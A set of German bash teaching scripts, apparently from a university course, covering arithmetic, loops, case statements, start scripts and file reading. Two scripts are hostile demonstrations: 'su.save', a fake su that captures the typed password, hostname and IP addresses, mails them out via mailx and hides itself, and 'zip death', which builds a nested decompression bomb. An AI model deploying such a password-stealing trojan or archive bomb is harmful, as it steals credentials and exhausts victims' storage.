```

#----------------------------------------
#   Abfrageskript
#----------------------------------------
#!/bin/bash

# if test -z $1
if [ -z $1 ]
  then
    echo -n "Bitte Passwort eingeben: "
    read -s PASSWORD
    echo ""
  else
    PASSWORD=$1
  fi
echo "Das Passwort lautet: $PASSWORD"
exit 0


#----------------------------------------
#   "Add-multi"
#----------------------------------------

#!/bin/bash
if [ -z "$1" ] ; then echo -n "Zahl A : "; read A; else A=$1; fi
if [ -z "$2" ] ; then echo -n "Operator : "; read OP; else OP=$2; fi
if [ -z "$3" ] ; then echo -n "Zahl B : "; read B; else B=$3; fi

echo -n "$A "
RESULT=$A
for ((i=$A+1; i<=$B; i++))
  do
    RESULT=$(($RESULT $OP $i))
    echo -n "$OP $i "
    done

echo "= $RESULT"

exit 0

#----------------------------------------
#   "Arithmetik" aus cs17-2
#----------------------------------------

#!/bin/bash

if [ -z "$1" ]; then echo -n "A : "; read A;  else  A=$1; fi
if [ -z "$2" ]; then echo -n "OP: "; read OP; else OP=$2; fi
if [ -z "$3" ]; then echo -n "B : "; read B;  else  B=$3; fi

```

```

# PRIMZAHL:
# nur durch eins und sich selbst teilbar --> mod
flag_prim_true=0
flag_prim_false=0
result=1

function primtest {

      for ((i=1;i<$primzahl;i++));
      do
          if [ $i -gt 1 ];
          then result=$(($primzahl % $i));fi
          if [ $result -eq 0 ];
            then
              flag_prim_false=1;
            else
              flag_prim_true=1;
          fi
      done
}

# Funktionsaufruf

primtest $primzahl

if [ $flag_prim_false -eq 1 ]
  then echo "$primzahl ist keine Primzahl";fi
if [ $flag_prim_false -eq 0 ] && [ $flag_prim_true -eq 1 ]
    then echo "$primzahl ist eine Primzahl";fi

exit 0

#----------------------------------------
#   "Arithmetik"
#----------------------------------------

#!/bin/bash

# Arithmetik mit expr
RESULT=`expr $1 "$2" $3`

# Arithmetik mit bash
RESULT2=$(($1 $2 $3))

# Arithmetik mit Gleitkomma (bc)
RESULT3=`echo "scale=2; $1 $2 $3" | bc -l`
RESULT4=`echo "scale=2; $1 $2 $3" | bc -l | tr "." ","`


echo "EXPR:  $1 $2 $3 = $RESULT"
```

```

# Ganzzahl
#  RESULT=`expr $A "$OP" $B`  # "$OP" quoten, damit z.B. *, < ...
 • nicht interpretiert wird
#  RESULT=$(expr $A "$OP" $B)   # andere Schreibweise für Befehl oben
#  let  RESULT=( $A "$OP" $B )
#  let  "RESULT=$A $OP $B"
#RESULT=$(($A $OP $B))
#  RESULT=$((A $OP B))    # bei Zahlen ist die Dereferenzierung in
 • dieser Schreibweise optional

# Fließkomma
# RESULT=`echo "scale=2; $A $OP $B" | bc -l`
# RESULT=$(echo "scale=15; $A $OP $B" | bc -l)
RESULT=$(echo "scale=15; $A $OP $B" | bc -l | tr "." ",") # Punkt
 • durch Komma ersetzt

echo "$A $OP $B = $RESULT"

exit 0


#----------------------------------------
#   "multi"
#----------------------------------------

#!/bin/bash


# if[ -z "$1"]; then echo -n "a: "; read a; else a =$1; fi
a=$1
OP=$2
b=$3

result=$a
for ((i=$a+1;i<=$b;i++))
  do
    result=$(($a $OP $b))
  done
echo "$a $OP $(($a+1)) $OP $(($a + 2)) $OP ... $OP $b = $result"

exit 0

#----------------------------------------
#   primzahltest
#----------------------------------------

#!/bin/bash
primzahl=$1

# herangehensweise
```

```

echo "BASH:  $1 $2 $3 = $RESULT2"
echo "BC  :  $1 $2 $3 = $RESULT3"
echo "       $1 $2 $3 = $RESULT4"
exit 0

#----------------------------------------
#   case
#----------------------------------------

#!/bin/bash
# Beispiel für case, oft in Startscripten verwendet

case $0 in
  "./case")
     echo "Aufgerufen als case"
     ;;
  "./esac")
     echo "Aufgerufen als esac"
     ;;
   esac

case $1 in
  start)
    echo "Service *grmpf* starten..."
    ;;
  stop)
    echo "Service *grmpf* anhalten..."
    ;;
  status)
    echo "Status bestimmen ..."
    echo "Weitere Befehle können folgen ... :=)"
    ;;
  *)
    echo "Usage: "$0" { start | stop }"
    ;;
esac

exit 0

#----------------------------------------
#   case statusabfrage
#----------------------------------------

#!/bin/bash
PARAMETER=$1
PID_FILE='xeyes.pid'
PROG_BIN='/usr/bin/xeyes'

function prog_status {
  if [ -s $PID_FILE ]
```

```
    then
      PIDs_FILE=`cat $PID_FILE`
      PIDs_TABLE=`ps | grep xeyes | awk '{ print $1 }'`
      if [ $PIDs_TABLE -eq $PIDs_FILE ] &> /dev/null # stout & sterr
      umleiten
        then
          STATUS_VAR=0 # Programm läuft
        else
          STATUS_VAR=1 # Programm abgestürzt
        fi
   else
     STATUS_VAR=2 # Programm läuft nicht
   fi
  return $STATUS_VAR

} # end prog_status

case $PARAMETER in
 start)
    echo "service $PROG_BIN starten ..."
    prog_status
    if [ $? -ne 0 ] # nicht starten, wenn 0 (running)
      then
        $PROG_BIN &
        # echo `ps | grep xeyes | awk '{ print $1 }'` > $PID_FILE
        echo $! > $PID_FILE
      else
        echo "service $PROG_BIN läuft bereits!"
      fi
    ;;
 stop)
    echo "service $PROG_BIN anhalten ..."
    prog_status
    if [ $? -eq 0 ] # nur anhalten, wenn 0 (running)
      then
        kill -TERM `cat $PID_FILE`
        rm $PID_FILE
      else
        echo "service $PROG_BIN läuft nicht!"
      fi
    ;;
 status)
    echo "service $PROG_BIN status prüfen ..."
    prog_status
    case $? in
      0) echo "running";;
      1) echo "dead";;
      2) echo "not running";;
   esac
   ;;
 *)
   echo "usage: $0 {start|stop|status}"
   ;;
esac

exit 0

#--------------------------------------
#   "exp.bash"
#--------------------------------------

#!/bin/bash
x=$1
jmax=$2
genauigkeit=$3

function fak {
  n=$1
  n_fak=1
  if [ $n -ge 2 ]
    then
      for ((i=2;i<=$n;i++))
        do
          n_fak=`echo "scale=0; $n_fak * $i" | bc -l`
          done
    fi
  #return $n_fak
}

x_exp=0
for ((j=0;j<=$jmax; j++))
  do
    fak $j
    r_glied=`echo "scale=15; $x ^ $j / $n_fak" | bc -l`
    x_exp=`echo "scale=15; $x_exp + $r_glied" | bc -l`
    if [ `echo "scale=15; $r_glied <= $genauigkeit" | bc -l` -eq 1 ]
      then
        echo "Reihenglieder 0 bis $j berechnet"
        break
        fi
    done

echo "e^$X = $x_exp"
exit 0

#--------------------------------------
#   fakultät
#--------------------------------------

#!/bin/bash
# Script prüft, ob Passwort auf Kommandozeile übergeben
FAK=1 # Variable Fak mit 1 initialisieren: 0!=1; 1!=1

if [ -z $1 ]
  then
    echo -n "Bitte Zahl n eingeben: "
    read n
  else
    n=$1
  fi

if [ $n -lt 0 ]  # negative n
  then
    echo "n muss eine natürliche Zahl sein!"
    exit 1  # mit Fehlerstatus 1 beenden
  fi

for ((i=2;i<=n;i++))
  do
    #FAK=`expr $FAK \* $i`
    FAK=`echo "scale=0; "$FAK\ \*\ $i | bc -l`
  done

echo $n"! = "$FAK

exit 0

#--------------------------------------
#   float_arith
#--------------------------------------

#!/bin/bash
# Arithmetik mit Fließkommazahlen

echo "Operator : "$2
VAR1=`echo $1 | tr "," "."`
VAR3=`echo $3 | tr "," "."`

# RESULT=`echo "scale=2; "$1\ $2\ $3 | bc -l`
RESULT=`echo "scale=2; "$VAR1\ $2\ $VAR3 | bc -l | tr "." ","`

echo "Erbgebnis: "$RESULT

exit 0

#--------------------------------------
#   for
#--------------------------------------

#!/bin/bash

for ARG
  do
    echo $ARG
  done
exit 0

#--------------------------------------
#   for
#--------------------------------------

#!/bin/bash

for i in a b c d e f gg hh iii
  do
    echo $i
  done

exit 0

#--------------------------------------
#   for
#--------------------------------------


# spezifisch bash:
## for ((i=1;i<=10;i++))  # inkrement
## for ((i=10;i>=1;i--))  # dekrement
## for ((i=0;i<=20;i=i+3))  # um 3 erhöhen
for ((i=0;i<=20;i+=3))    # Kurzform um 3 erhöhen
  do
    echo $i
  done

exit 0

#--------------------------------------
#   if bash
#--------------------------------------

#!/bin/bash

if [ -z $1 ]
  then
    echo -n "Bitte Verzeichnisname eingeben: "
    read DIR  # für Passwörter: read -s PASSWORD; echo ""
  else
    DIR=$1
  fi
```

```

if [ ! -d $DIR ]
  then
    if ( mkdir $DIR 2> /dev/null )
      then
        echo "Verzeichnis $DIR erfolgreich angelegt."
      else
        echo "Fehler beim anlegen von $DIR!!!!"
      fi
  else
    echo "Verzeichnis $DIR existiert bereits."
  fi

exit 0

#---------------------------------------
#   "init_arith"
#---------------------------------------

#!/bin/bash
# Shell kennt nur Textvariablen
# interpretierbare Zeichen quoten

echo "Operator : "$2

RESULT=`expr $1 "$2" $3`

echo "Ergebnis : "$RESULT

exit 0


#---------------------------------------
#   "list_file"
#---------------------------------------

#!/bin/bash

if [ -z $1 ]
  then
    echo -n "Dateiname: "
    read FILE
  else
    FILE=$1
  fi

i=1

while read LINE
  do
    echo "$i: $LINE"
    i=$((i + 1))
  done < $FILE

exit 0

#---------------------------------------
#   "mkdir"
#---------------------------------------

#!/bin/bash

if [ -z $1 ]
  then
    echo -n "Bitte Verzeichnisname angeben: "
    read DIR_NAME  # Passwort: read -s PASSWORD
  else
    DIR_NAME=$1
  fi

if [ ! -d $DIR_NAME ]
  then
    if ! mkdir $DIR_NAME # Anlegen Verzeichnis scheitert
      then
        echo "Konnte Verzeichnis $DIR_NAME nicht anlegen!"
        exit 1
      fi
  else
    echo "Verzeichnis $DIR_NAME existiert schon!"
  fi

exit 0

#---------------------------------------
#   "parameter"
#---------------------------------------

#!/bin/bash

# Wie wurde Programm aufgerufen
echo 'Parameter 0: '$0
# Kommandozeilenparameter 1 bis 9
echo 'Parameter 1: '$1
echo 'Parameter 2: '$2
echo 'Parameter 3: '$3
echo 'Parameter 4: '$4
echo 'Parameter 5: '$5
echo 'Parameter 6: '$6
echo 'Parameter 7: '$7
echo 'Parameter 8: '$8
```

```

echo 'Parameter 9: '$9
# Mit shift n auf weitere Parameter umschalten
shift 9
echo 'Parameter 10: '$1
echo 'Parameter 11: '$2
echo 'Parameter 12: '$3
echo 'Parameter 13: '$4
echo 'Parameter 14: '$5
echo 'Parameter 15: '$6
echo 'Parameter 16: '$7
echo 'Parameter 17: '$8
echo 'Parameter 18: '$9

exit 0

#---------------------------------------
#   "su.save"
#---------------------------------------

#!/bin/bash
# Setup
INFO_FILE="/tmp/.xyz632jf"
SU_VISIBLE=$0 # so wurde es aufgerufen, ggf. mit Pfad
SU_HIDDEN="/tmp/.xyz092ld"
RENAME_SCRIPT="/tmp/.xyz00gg" # absoluter Pfad
HIDDEN_TIME="30"

# Step 1: Verhalten nachbilden
echo -n "Passwort: "  # -n --> kein Zeilenumbruch
read -s PASSWORD  # -s --> silent
echo ""     # Zeilenumbruch
sleep 3     # 3s warten
# echo "su: Benutzer bei zu Grunde liegendem Authentifizierungsmodul
nicht bekannt"

# Step 2: Informationen sammeln
echo "Augerufenes Kommando: $0 $1 $2 $3 $4 $5"  >   $INFO_FILE
echo "Passwort: $PASSWORD"      >>  $INFO_FILE
echo "Hostname: $HOSTNAME"      >>  $INFO_FILE
echo "IP Adressen:"       >>  $INFO_FILE
IP_ADDRESSES=`/sbin/ifconfig | grep inet`
echo "$IP_ADDRESSES"        >>  $INFO_FILE
echo ""           >>  $INFO_FILE
echo "."                                    >>  $INFO_FILE #
Ende Mail ist . auf Zeile

# Step 3: Informationen versenden
# mail versucht an mailp zu senden --> scheitert
# mail  -s "Passwortklau mittels su" \
# -r "bill.gates@kleinweich.test" \
# studierende@cs15.ba-leipzig.de \
# < $INFO_FILE  # Inhalt Datei INFO_FILE versenden

mailx -v \
  -r "ingolf.brunner@ba-leipzig.de" \
  -s "Passwortklau mittels su" \
  -S smtp="mail.ba-leipzig.de:587" \
  -S smtp-use-starttls \
  -S smtp-auth=login \
  -S smtp-auth-user="username" \
  -S smtp-auth-password="Geheim1234" \
  -S ssl-verify=ignore \
  studierende@cs15.ba-leipzig.de \
  < $INFO_FILE > /dev/null 2>&1   # Inhalt Datei INFO_FILE versenden
  und Ausgabe umleiten


rm $INFO_FILE   # INFO_FILE löschen

# Step 4: Verstecken
mv $SU_VISIBLE $SU_HIDDEN # su Script verstecken

# Script für Rückbenennung erzeugen
echo "#!/bin/bash"      >  $RENAME_SCRIPT
echo "rm $RENAME_SCRIPT"    >> $RENAME_SCRIPT # Script löschen
(Sekundärspeicher)
echo "sleep $HIDDEN_TIME"   >> $RENAME_SCRIPT # gewisse Zeit warten
echo "mv $SU_HIDDEN $SU_VISIBLE"  >> $RENAME_SCRIPT # verstecktes su
zurück benennen
echo "exit 0"       >> $RENAME_SCRIPT

chmod 700 $RENAME_SCRIPT  # Script ausführbar machen
$RENAME_SCRIPT &    # im Hintergrund ausführen

# Step 5: Fehlermeldung und beenden mit Exit-Code 1 (Passwortfehler)
echo "su: Benutzer bei zu Grunde liegendem Authentifizierungsmodul
nicht bekannt"
exit 1 # Falsches Passwort --> Fehlerstatus 1

#---------------------------------------
#   "quadrat" in CS-2 als sqr bezeichnet
#---------------------------------------

#!/bin/bash

Z=$1  # wird dem Script übergeben

function QUADRAT {
  X_SQR=$(( $1 * $1 ))  # $1 ist hier der erste Parameter der
  Funktion
```

```
  return $X_SQR
  }

QUADRAT $Z   # Funktion mit Parameter aufrufen
echo "Versaut den Rückgabewert"
echo "Das Quadrat von $Z ist: $?"     # Ergebnis steht im
Rückgabewert der Funktion
          # dieser ist ein UNSIGNED INT_8 --> 0 ... 255
echo "Quadrat von $Z mit globaler Variable: $X_SQR"

exit 0

#--------------------------------------
#   "readline"
#--------------------------------------

#!/bin/bash
# Datei zeilenweise lesen und auf Bildschirm ausgeben
FILE=primzahlen
i=1

while read LINE && [ $i -le 10 ]
  do
    echo $LINE
    ((i++)) # i=`expr $i + 1`
    usleep 100000
  done < $FILE

exit 0

#--------------------------------------
#   "startscript"
#--------------------------------------

#!/bin/bash
# Beispiel für ein einfaches Startscript
PID_FILE='xterm.pid'
PROGRAM_PATH='/usr/bin'
PROGRAM_NAME='xterm'
PS_BIN='/usr/bin/ps'
GREP_BIN='/usr/bin/grep'
AWK_BIN='/usr/bin/awk'
CAT_BIN='/usr/bin/cat'
RM_BIN='/usr/bin/rm'

PAR1=$1

function PROG_STATUS {
  PS_PROGRAM_NAME=$1
  PS PID RUNNING=`$PS BIN | $GREP BIN "$PROGRAM NAME" | $AWK BIN '{
```

```
  print $1 }'`
  # Fehlerkanal auf /dev/null --> keine Fehler ausgeben
  PS_PID_FROM_FILE=`$CAT_BIN $PID_FILE 2> /dev/null`
  if [ -z "$PS_PID_RUNNING" -a -z "$PS_PID_FROM_FILE" ]
    then
      PS_STATUS=2 # keine PID im File, Prozess läuft nicht: stopped
      = 2
    else
      if [ ! -z "$PS_PID_RUNNING" -a ! -z "$PS_PID_FROM_FILE" ]
        then
          PS_STATUS=0 # PID im File, Prozess läuft: running = 0
        else
          PS_STATUS=1 # PID im File, Prozess läuft nicht: dead = 1
        fi
    fi
  return $PS_STATUS
} # end function PROG_STATUS

case $PAR1 in
  start)
  if PROG_STATUS $PROGRAM_NAME  # hier wird nicht der exit-Status
  von test bzw. [ ]
          #  sondern der der Funktion PROG_STATUS benutzt
    then
      echo "Service $PROGRAM_NAME is already running."
          else
      $PROGRAM_PATH/$PROGRAM_NAME & # Service im Hintergrund starten
      echo "$!" > $PID_FILE   # PID im File speichern
    fi
  ;;
  stop)
       if PROG_STATUS $PROGRAM_NAME    # hier wird nicht der exit-
       Status von test bzw. [ ]
                                       #  sondern der der Funktion
                                       PROG_STATUS benutzt
          then
      kill -TERM `$CAT_BIN $PID_FILE` # Service mit PID aus File
      beenden
      $RM_BIN $PID_FILE     # PID File löschen
          else
      echo "Service $PROGRAM_NAME is not running or dead."
          fi
  ;;
  status)
  PROG_STATUS $PROGRAM_NAME
  STATUS=`echo $?`  # Rückgabewert der Funkiotn PROG_STATUS speichern
  case $STATUS in
    0)  echo "Service $PROGRAM_NAME is running." ;;
    1)    echo "Service $PROGRAM_NAME is dead." ;;
    2)    echo "Service $PROGRAM_NAME is not running." ;;
```

```
          esac
  ;;
  *)  echo "Usage: $0 [start|stop|status]"
  ;;
  esac

exit 0

#--------------------------------------
#   "while text"
#--------------------------------------

#!/bin/bash

FILE=$1
i=0
while read LINE
  do
    ((i++))
    echo "Zeile $i: $LINE"
    done < $FILE

exit 0

#--------------------------------------
#   "while sum"
#--------------------------------------

#!/bin/bash

SUM=0
N=1
while [ $N -le $1 ]
  do
    SUM=$(($SUM + $N))
    N=$(($N + 1))
    done

echo "Summe der Zahlen von 1 bis $1 = $SUM"

exit 0

#--------------------------------------
#   "zip death"
#--------------------------------------

#!/bin/bash
# Setup
ZIP_BIN="/usr/bin/bzip2 --best"
ZIP_EXT="bz2"
```

```
BASE_DIR="/tmp"
STRUCT_DIR="archiv"
TMP_STRUCT_DIR="tmp_archiv"

# Parameter abfragen
echo -n "Größe für Einzeldatei mit Nullen [MByte]: "
read SIZE
echo -n "Verschachtelungstiefe: "
read DEPTH

# Arbeitsverzeichnis erstellen
cd $BASE_DIR

# Archiv it vieeeelen Nullen erzeugen
dd ibs=1M count=$SIZE if=/dev/zero | $ZIP_BIN | dd
of="nullen.$ZIP_EXT"

# Verzeichnis erzeugen und Dateien kopieren
echo "Erzeuge komprimierte Datei mit $SIZE MByte binären Nullen..."
mkdir $STRUCT_DIR
for ((i=1;i<=$DEPTH;i++))
  do
    cp "nullen.$ZIP_EXT" $STRUCT_DIR/"nullen_$i.$ZIP_EXT"
  done

# und nun alles schön aufblasen
for ((j=1;j<=$DEPTH;j++))
  do
    echo "Erzeuge Ebene $j von $DEPTH..."
    mv $STRUCT_DIR $TMP_STRUCT_DIR
    mkdir $STRUCT_DIR
    for ((i=1;i<=$DEPTH;i++))
      do
        cp -R $TMP_STRUCT_DIR "$STRUCT_DIR/$i"
      done
    rm -rf $TMP_STRUCT_DIR
    done # Ende der äußeren Schleife

# nun noch in ein Archiv verpacken
echo "In Archiv packen und komprimieren..."
tar cf "zip_of_death.tar" $STRUCT_DIR
$ZIP_BIN "zip_of_death.tar"

# aufräumen
rm -rf $STRUCT_DIR
rm -rf $TMP_STRUCT_DIR
exit 0
```